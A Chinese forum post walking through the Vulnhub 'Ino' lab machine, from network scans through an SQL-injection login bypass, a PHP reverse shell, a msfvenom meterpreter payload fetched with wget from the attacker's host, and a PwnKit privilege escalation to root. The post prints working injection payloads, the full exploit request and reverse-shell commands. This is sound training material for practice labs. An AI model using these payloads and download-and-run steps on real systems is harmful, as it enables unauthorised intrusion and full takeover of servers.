Vulnhub之Ino靶机详细测试过程（采用完全不同方法获得Shell以及本地提权） ...

火影  论坛元老 | 2023-4-16 15:11:09 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题
楼主

主题 1026|帖子 1026|积分 3078

马上注册，结交更多好友，享用更多功能，让你轻松玩转社区。

您需要 登录 才可以下载或查看，没有账号？立即注册

x
Ino

识别目标主机IP地址
  1. ─(kali㉿kali)-[~/Vulnhub/Ino]
  2. └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
  3. Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                         
  4.                                                                                                                              
  5. 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                            
  6. _____________________________________________________________________________
  7.    IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
  8. -----------------------------------------------------------------------------
  9. 192.168.56.1    0a:00:27:00:00:05      1      60  Unknown vendor                                                            
  10. 192.168.56.100  08:00:27:86:38:75      1      60  PCS Systemtechnik GmbH                                                   
  11. 192.168.56.253  08:00:27:f5:7e:8f      1      60  PCS Systemtechnik GmbH      
复制代码
利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.253
NMAP扫描
  1. ──(kali㉿kali)-[~/Vulnhub/Ino]
  2. └─$ sudo nmap -sS -sV -sC -p- 192.168.56.253 -oN nmap_full_scan
  3. Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 00:34 EDT
  4. Nmap scan report for localhost (192.168.56.253)
  5. Host is up (0.00034s latency).
  6. Not shown: 65533 closed tcp ports (reset)
  7. PORT   STATE SERVICE VERSION
  8. 22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
  9. | ssh-hostkey:
  10. |   2048 deb52389bb9fd41ab50453d0b75cb03f (RSA)
  11. |   256 160914eab9fa17e945395e3bb4fd110a (ECDSA)
  12. |_  256 9f665e71b9125ded705a4f5a8d0d65d5 (ED25519)
  13. 80/tcp open  http    Apache httpd 2.4.38 ((Debian))
  14. |_http-server-header: Apache/2.4.38 (Debian)
  15. MAC Address: 08:00:27:F5:7E:8F (Oracle VirtualBox virtual NIC)
  16. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  18. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  19. Nmap done: 1 IP address (1 host up) scanned in 8.84 seconds
复制代码
NMAP扫描结果表明目标主机有2个开放端口:22(ssh)、80（http)
获得Shell

访问80端口，从返回的页面看CMS为Lot Reservation Management System
  1. ──(kali㉿kali)-[~/Vulnhub/Ino]
  2. └─$ searchsploit Lot Reservation
  3. -------------------------------------------------------------------------------------------- ---------------------------------
  4. Exploit Title                                                                              |  Path
  5. -------------------------------------------------------------------------------------------- ---------------------------------
  6. Lot Reservation Management System 1.0 - Authentication Bypass                               | php/webapps/48934.txt
  7. Lot Reservation Management System 1.0 - Cross-Site Scripting (Stored)                       | php/webapps/48935.txt
  8. -------------------------------------------------------------------------------------------- ---------------------------------
  9. Shellcodes: No Results
复制代码
但目前不知道版本，先看一下有无其他目录可利用。
  1. ┌──(kali㉿kali)-[~/Vulnhub/Ino]
  2. └─$ nikto -h http://192.168.56.253
  3. - Nikto v2.1.6
  4. ---------------------------------------------------------------------------
  5. + Target IP:          192.168.56.253
  6. + Target Hostname:    192.168.56.253
  7. + Target Port:        80
  8. + Start Time:         2023-04-16 00:40:09 (GMT-4)
  9. ---------------------------------------------------------------------------
  10. + Server: Apache/2.4.38 (Debian)
  11. + The anti-clickjacking X-Frame-Options header is not present.
  12. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
  13. + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
  14. + Root page / redirects to: /lot/
  15. + No CGI Directories found (use '-C all' to force check all possible dirs)
  16. + ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected
  17. + Scan terminated:  20 error(s) and 3 item(s) reported on remote host
  18. + End Time:           2023-04-16 00:41:00 (GMT-4) (51 seconds)
  19. ---------------------------------------------------------------------------
  20. + 1 host(s) tested
  23.       *********************************************************************
  24.       Portions of the server's headers (Apache/2.4.38) are not in
  25.       the Nikto 2.1.6 database or are newer than the known string. Would you like
  26.       to submit this information (*no server specific data*) to CIRT.net
  27.       for a Nikto update (or you may email to sullo@cirt.net) (y/n)?
复制代码
会被自动重定向到/lot目录。
用Gobuster工具无法识别目录：
  1. ──(kali㉿kali)-[~/Vulnhub/Ino]
  2. └─$ gobuster dir -u http://192.168.56.253/lot/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.js,.sh,.txt
  3. ===============================================================
  4. Gobuster v3.3
  5. by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
  6. ===============================================================
  7. [+] Url:                     http://192.168.56.253/lot/
  8. [+] Method:                  GET
  9. [+] Threads:                 10
  10. [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  11. [+] Negative Status codes:   404
  12. [+] User Agent:              gobuster/3.3
  13. [+] Extensions:              php,html,js,sh,txt
  14. [+] Timeout:                 10s
  15. ===============================================================
  16. 2023/04/16 00:46:35 Starting gobuster in directory enumeration mode
  17. ===============================================================
  18. Error: error on running gobuster: unable to connect to http://192.168.56.253/lot/: Get "http://192.168.56.253/lot/": dial tcp 192.168.56.253:80: connect: connection refused
复制代码
  1. ┌──(kali㉿kali)-[~/Vulnhub/Ino]
  2. └─$ searchsploit -m php/webapps/48934.txt
  3.   Exploit: Lot Reservation Management System 1.0 - Authentication Bypass
  4.       URL: https://www.exploit-db.com/exploits/48934
  5.      Path: /usr/share/exploitdb/exploits/php/webapps/48934.txt
  6.     Codes: N/A
  7. Verified: True
  8. File Type: ASCII text
  9. Copied to: /home/kali/Vulnhub/Ino/48934.txt
  12.                                                                                                                               
  13. ┌──(kali㉿kali)-[~/Vulnhub/Ino]
  14. └─$ cat 48934.txt
  15. #Exploit Title: lot reservation management system 1.0 - Authentication Bypass
  16. #Date: 2020-10-22
  17. #Exploit Author: Ankita Pal
  18. #Vendor Homepage: https://www.sourcecodester.com/php/14530/lot-reservation-management-system-using-phpmysqli-source-code.html
  19. #Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/lot-reservation-management-system.zip
  20. #Version: V1.0
  21. #Tested on: Windows 10 + xampp v3.2.4
  24. Proof of Concept:::
  26. Step 1: Open the URL http://localhost:8081/lot-reservation-management-system/admin/login.php
  28. Step 2: use payload ' or 1=1 limit 1 -- -+ for both username and password.
  31. Malicious Request:::
  33. POST /lot-reservation-management-system/admin/ajax.php?action=login HTTP/1.1
  34. Host: localhost:8081
  35. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
  36. Accept: */*
  37. Accept-Language: en-GB,en;q=0.5
  38. Accept-Encoding: gzip, deflate
  39. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  40. X-Requested-With: XMLHttpRequest
  41. Content-Length: 71
  42. Origin: http://localhost:8081
  43. Connection: close
  44. Referer: http://localhost:8081/lot-reservation-management-system/admin/login.php
  45. Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id
  47. username='+or+1%3D1+limit+1+--+-%2B&password='+or+1%3D1+limit+1+--+-%2B
  49. You will be login as admin of the application.      
复制代码
用绕过语句，
  1. http://192.168.56.253/lot/admin/
复制代码
用户名处： admin' or 1=1 --
密码处： admin' or 1=1 --
可以绕过管理后台。
<img alt="" loading="lazy">
在System Settings，可以上传shell.php文件
从而在Kali Linux上得到了目标主机反弹回来的shell
  1. ┌──(kali㉿kali)-[~/Vulnhub/Ino]
  2. └─$ sudo nc -nlvp 5555                                         
  3. [sudo] password for kali:
  4. listening on [any] 5555 ...
  5. connect to [192.168.56.206] from (UNKNOWN) [192.168.56.253] 40798
  6. Linux ino 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64 GNU/Linux
  7. 05:59:36 up 26 min,  0 users,  load average: 0.00, 0.21, 0.60
  8. USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
  9. uid=33(www-data) gid=33(www-data) groups=33(www-data)
  10. /bin/sh: 0: can't access tty; job control turned off
  11. $ which python
  12. /usr/bin/python
  13. $ python -c 'import pty;pty.spawn("/bin/bash")'
  14. www-data@ino:/$ cd /home
  15. cd /home
  16. www-data@ino:/home$ ls -alh
  17. ls -alh
  18. total 12K
  19. drwxr-xr-x  3 root root 4.0K Oct 10  2020 .
  20. drwxr-xr-x 18 root root 4.0K Oct 27  2020 ..
  21. drwxr-xr-x  2 ppp  ppp  4.0K Dec  5  2020 ppp
  22. www-data@ino:/home$ cd ppp
  23. cd ppp
  24. www-data@ino:/home/ppp$ ls -alh
  25. ls -alh
  26. total 24K
  27. drwxr-xr-x 2 ppp  ppp  4.0K Dec  5  2020 .
  28. drwxr-xr-x 3 root root 4.0K Oct 10  2020 ..
  29. lrwxrwxrwx 1 root root    9 Dec  5  2020 .bash_history -> /dev/null
  30. -rw-r--r-- 1 ppp  ppp   220 Oct 10  2020 .bash_logout
  31. -rw-r--r-- 1 ppp  ppp  3.5K Oct 10  2020 .bashrc
  32. -rw-r--r-- 1 ppp  ppp   807 Oct 10  2020 .profile
  33. -rw-r--r-- 1 ppp  ppp    33 Dec  5  2020 local.txt
  34. www-data@ino:/home/ppp$ cat local.txt
  35. cat local.txt
  36. f29cea45f473ebfa834885c4ff70ec1a
复制代码
这样就得到了用户flag.
提权
  1. ┌──(kali㉿kali)-[~/Vulnhub/Ino]
  2. └─$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.206 LPORT=6666 -f elf -o escalate.elf
  3. [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
  4. [-] No arch selected, selecting arch: x86 from the payload
  5. No encoder specified, outputting raw payload
  6. Payload size: 123 bytes
  7. Final size of elf file: 207 bytes
  8. Saved as: escalate.elf
  9.                                                                                                                               
  10.                                                                                                                               
  11. ┌──(kali㉿kali)-[~/Vulnhub/Ino]
  12. └─$ python -m http.server   
  13. Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
复制代码
利用msfvenom工具生成payload,然后将escalate.elf上传至目标主机/tmp目录
  1. www-data@ino:/tmp$ wget http://192.168.56.206:8000/escalate.elf
  2. wget http://192.168.56.206:8000/escalate.elf
  3. --2023-04-16 06:06:32--  http://192.168.56.206:8000/escalate.elf
  4. Connecting to 192.168.56.206:8000... connected.
  5. HTTP request sent, awaiting response... 200 OK
  6. Length: 207 [application/octet-stream]
  7. Saving to: 'escalate.elf'
  9. escalate.elf        100%[===================>]     207  --.-KB/s    in 0s      
  11. 2023-04-16 06:06:32 (65.6 MB/s) - 'escalate.elf' saved [207/207]
  13. www-data@ino:/tmp$ chmod +x escalate.elf
  14. chmod +x escalate.elf
复制代码
在Kali Linux启动handler
  1. msf6 > use exploit/multi/handler
  2. [*] Using configured payload generic/shell_reverse_tcp
  3. msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
  4. payload => linux/x86/meterpreter/reverse_tcp
  5. msf6 exploit(multi/handler) > show options
  7. Module options (exploit/multi/handler):
  9.    Name  Current Setting  Required  Description
  10.    ----  ---------------  --------  -----------
  13. Payload options (linux/x86/meterpreter/reverse_tcp):
  15.    Name   Current Setting  Required  Description
  16.    ----   ---------------  --------  -----------
  17.    LHOST                   yes       The listen address (an interface may be specified)
  18.    LPORT  4444             yes       The listen port
  21. Exploit target:
  23.    Id  Name
  24.    --  ----
  25.    0   Wildcard Target
  29. View the full module info with the info, or info -d command.
  31. msf6 exploit(multi/handler) > set LHOST 192.168.56.206
  32. LHOST => 192.168.56.206
  33. msf6 exploit(multi/handler) > set LPORT 6666
  34. LPORT => 6666
  35. msf6 exploit(multi/handler) > run
复制代码
在目标主机的shell中运行./escalate.elf
从而得到meterpreter
  1. msf6 exploit(multi/handler) > run
  3. [*] Started reverse TCP handler on 192.168.56.206:6666
  4. [*] Sending stage (1017704 bytes) to 192.168.56.253
  5. [*] Meterpreter session 1 opened (192.168.56.206:6666 -> 192.168.56.253:44636) at 2023-04-16 01:07:39 -0400
  7. meterpreter > background
  8. [*] Backgrounding session 1...
  9. msf6 exploit(multi/handler) > search suggester
  11. Matching Modules
  12. ================
  14.    #  Name                                      Disclosure Date  Rank    Check  Description
  15.    -  ----                                      ---------------  ----    -----  -----------
  16.    0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester
复制代码
利用local_exploit_suggester找到用于提权的漏洞利用模块
  1. [*] 192.168.56.253 - Valid modules for session 1:
  2. ============================
  4. #   Name                                                               Potentially Vulnerable?  Check Result
  5. -   ----                                                               -----------------------  ------------
  6. 1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                Yes                      The target is vulnerable.
  7. 2   exploit/linux/local/pkexec                                         Yes                      The service is running, but could not be validated.                                                                                                        
  8. 3   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.                                                         
复制代码
利用第1个模块实现提权
  1. meterpreter > shell
  2. Process 1409 created.
  3. Channel 1 created.
  4. id
  5. uid=0(root) gid=0(root) groups=0(root),33(www-data)
  6. cd /root
  7. ls -alh
  8. total 28K
  9. drwx------  3 root root 4.0K Dec  5  2020 .
  10. drwxr-xr-x 18 root root 4.0K Oct 27  2020 ..
  11. lrwxrwxrwx  1 root root    9 Dec  5  2020 .bash_history -> /dev/null
  12. -rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
  13. -rw-------  1 root root 3.5K Oct 26  2020 .mysql_history
  14. -rw-r--r--  1 root root  148 Aug 17  2015 .profile
  15. drwx------  2 root root 4.0K Oct 27  2020 .ssh
  16. -rw-------  1 root root   33 Dec  5  2020 proof.txt
  17. cat proof.txt
  18. 21bae0a12690199cde7a65bff57723a5
复制代码
从而拿到了root shell和root flag

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！
回复

使用道具 举报

0 个回复

倒序浏览
返回列表

快速回复

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

火影

论坛元老
这个人很懒什么都没写!

楼主热帖

标签云

AI 运维 CIO 存储 服务器
微信订阅号
微信服务号
微信客服
小程序
H5
关于我们 商务合作 网站地图
©Copyright 2022-2024 杭州祥升科技有限公司 版权所有 浙ICP备20004199号
快速回复 返回顶部 返回列表